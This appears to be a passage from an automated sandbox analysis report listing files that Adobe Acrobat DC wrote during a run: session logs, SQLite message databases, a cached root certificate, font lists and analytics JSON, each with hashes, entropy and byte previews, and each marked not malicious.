Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.217520397393689
Encrypted:	false
SSDEEP:	6:iO4Q6D+q2PcNwi2nKuAl9OmbzNMxIFUtSQtXZmwsQNVkwOcNwi2nKuAl9OmbzNMT:7YavLZHAa8jFUt1X/554ZHAa84J
MD5:	5FA461F33E3AAFA43461795DD4AF07F9
SHA1:	17A675004C59F8D41219D46DC770750793C83FA7
SHA-256:	CD5434D399F69D01E113FB3C24034F26075F2262614AF9D3775C0F584FC1D59F
SHA-512:	50C79F8D2569E2A99A583827E326264AD7F4B492C2FE004F46EB589302A0C9692CF844726D574CA63F8086019A8257D420489E992225B30D44468F8456AFA528
Malicious:	false
Preview:	2025/01/10-19:59:38.340 1f08 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-19:59:38.358 1f08 Recovering log #3.2025/01/10-19:59:38.361 1f08 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.217520397393689
Encrypted:	false
SSDEEP:	6:iO4Q6D+q2PcNwi2nKuAl9OmbzNMxIFUtSQtXZmwsQNVkwOcNwi2nKuAl9OmbzNMT:7YavLZHAa8jFUt1X/554ZHAa84J
MD5:	5FA461F33E3AAFA43461795DD4AF07F9
SHA1:	17A675004C59F8D41219D46DC770750793C83FA7
SHA-256:	CD5434D399F69D01E113FB3C24034F26075F2262614AF9D3775C0F584FC1D59F
SHA-512:	50C79F8D2569E2A99A583827E326264AD7F4B492C2FE004F46EB589302A0C9692CF844726D574CA63F8086019A8257D420489E992225B30D44468F8456AFA528
Malicious:	false
Preview:	2025/01/10-19:59:38.340 1f08 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-19:59:38.358 1f08 Recovering log #3.2025/01/10-19:59:38.361 1f08 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438930262485874
Encrypted:	false
SSDEEP:	384:yeaci5GwiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:1curVgazUpUTTGt
MD5:	A44D5708B47EBB0E94A08FA73FF8F702
SHA1:	66A202F38A49FA32FD85D7FFC0390F7ED425BEAA
SHA-256:	485267AB9DE896DA0F9DB132B11A25EFD826EC66A137F3E1D105DC1A4145CBDB
SHA-512:	3108AE60211E8CB68A420BECBC794D467EC30252962FDB6CBB0EFBFD16AEDEB242A02474AD2247616F989AC606769D71DA05CE12F0497C41BEC0AE9638B6EF19
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.774002492550348
Encrypted:	false
SSDEEP:	48:7M4p/E2ioyVHioy3DoWoy1CABoy1rKOioy1noy1AYoy1Wioy1hioybioyvoy1noT:7jpjuH0iANXKQeIb9IVXEBodRBk9
MD5:	2FB845075CDE8CFF36AFDAFBB45D5D8A
SHA1:	8A88F39E0DE65B3AEB7BD7A01FE5B7C648A4341F
SHA-256:	D48F8F41994EFDF8C94DE87F49E5F9A523455F6151338D45E76704A0DDCF4A62
SHA-512:	091D4D94C3C605D8E359C714B58459B35771ADD2A7070796B2CD1BBDEB7E2DFF52435B9F1ACDF12860D3AFBF09D1ABBC386B5A10928FC6FCDA60E299F6C0B50D
Malicious:	false
Preview:	.... .c......axP...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklKsxEttfllXlE/HT8kl7vNNX8RolJuRdxLlGB9lQRYwpDdt:kKTrteT8q7VNMa8RdWBwRd
MD5:	133218E86D3CA36EB8C9E8F7159892B6
SHA1:	53B69B52C35742D0A274DCCFE533C4ED678EFEE0
SHA-256:	99F546E1B84133184CC831BB1B2436D50ED5ACC9C8D7389787EF939D0CB9F7CE
SHA-512:	A36B209344C0AAD6F9650ABBF0B12C45ED5E331F382CC5912263E49578645FDC22ECCB843A89D2CD4E85BDDFFEAA13F2FCAC3F8092FF1031211A2FAB944A191F
Malicious:	false
Preview:	p...... .........I...c..(....................................................... ..........W...................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2429904267830576
Encrypted:	false
SSDEEP:	6:kKXkEtL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:/kEtiDImsLNkPlE99SNxAhUe/3
MD5:	49BE8AD2D8B1F3C5356667B0ED1D61F1
SHA1:	227A300CFD7CAC158A4B36F7DC30C1918DFEDC55
SHA-256:	089F03E5A17EA338378845435CD6A727FD441F6F9EA0E5E05C10CF71F21A3720
SHA-512:	C9A9916CCB685C66981760D39CB387307600D2378DEAF5C4A9228CF15754A0B59602E62639C1E7DF494A934F4FBA0F9260B010DE94845C273127D7E9F7822F65
Malicious:	false
Preview:	p...... ........[.P-.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7476

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7476

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.365463844396066
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9yGj+FS4WsGiIPEeOF0Yod/VeoAvJM3g98kUwPeUkwRe9:YvXKXYesdTeOcnGMbLUkee9
MD5:	F17A739C8CE2390FFB38C55F44303BEF
SHA1:	7D6B30450800FA32145DA69B382C89498875084C
SHA-256:	FDCEE16D8A96AC25584E85AD06049BA78D7F255905A8BBF818AF0B008FFD5AF6
SHA-512:	AEFFAC44F55BB382A8DA657FBF2C06B5A6CD63C531CCCFF27E541A471E59D457CC87F38DB81CB8DB32AA581C4F43BBB37DE54B243654492716B69875FB5A001E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eba24a88-f517-41d2-9f9c-8aceb1c6b2e8","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736737081964,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.298443909893823
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9yGj+FS4WsGiIPEeOF0Yod/VeoAvJfBoTfXpnrPeUkwRe9:YvXKXYesdTeOcnGWTfXcUkee9
MD5:	8C1BBC7E99F7A26CAEF3A2ACA82AA335
SHA1:	C4AC718105D74AC49345828F9A568B54747498AC
SHA-256:	4E28B2E3A921A750CD23CECAC5BFF1E622D2CBEE536C6B1D27D51F87CB91A362
SHA-512:	5C52FD56D183DD0F2470EED178D66B86C2ABE9404FC0C1B93884FBC03058C9A615CD1E992148610E6D288A027B3927856BE99142ABF4BB9000825B6C1B10F7DA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eba24a88-f517-41d2-9f9c-8aceb1c6b2e8","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736737081964,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.276855583158684
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9yGj+FS4WsGiIPEeOF0Yod/VeoAvJfBD2G6UpnrPeUkwRe9:YvXKXYesdTeOcnGR22cUkee9
MD5:	9AACDE6889E166F21F880A086372905F
SHA1:	855D5E3036EC00B38FC46DF6BD0A24041A49EABE
SHA-256:	D18312137D5FEB87CE6472F743FCA0C6337CBEDDA58BFE66D01AB802FE62A4E2
SHA-512:	DCAFD004613114F1D94C66FD6612E6555D0EC7C991CF4A635FC55986228C33BE3088F1DAC8411EE79A4BC87B169C40F6B18E8F1FBB768553EB17BEDC91DF1FE7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eba24a88-f517-41d2-9f9c-8aceb1c6b2e8","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736737081964,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.352415847834351
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9yGj+FS4WsGiIPEeOF0Yod/VeoAvJfPmwrPeUkwRe9:YvXKXYesdTeOcnGH56Ukee9
MD5:	72E6AD334AA95022C21CAC53F6302122
SHA1:	3F24F5EA7FAF3CB1F337BB78231B3A30997E5933
SHA-256:	6E8E02A22AF122A40417456AD895700866C6885C5865A3D5B7041C4C182257BD
SHA-512:	1C498A96AB0038AA2BFE779540F681C42F9E9AD386A44302A613295EDAB8A38002228017B62B37B7D640787F24AE68E1A4C9C4829E834A7BDDCC30B2F6AC118A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eba24a88-f517-41d2-9f9c-8aceb1c6b2e8","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736737081964,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.688136470160205
Encrypted:	false
SSDEEP:	24:Yv6XYemeOcspLgE9cQx8LennAvzBvkn0RCmK8czOCCSBb:YvVeihgy6SAFv5Ah8cv/Bb
MD5:	4A60FA5173D262998F26ABC144CF74B8
SHA1:	D166E744F98FCEABEF553651563BD422794E3B89
SHA-256:	F19D43F3FCB52B2989A2957D518DFF64CD893D4ACA1593B27CFFAAB387F85B1D
SHA-512:	28B3A06DD6A68589DBBA200A4A59EF375994D7BA39FF4C65217CF01417DCD1F1BAD7874CA439F11341F14945DA8298BBA4B00CC126DB98C32488CB18E8422845
Malicious:	false
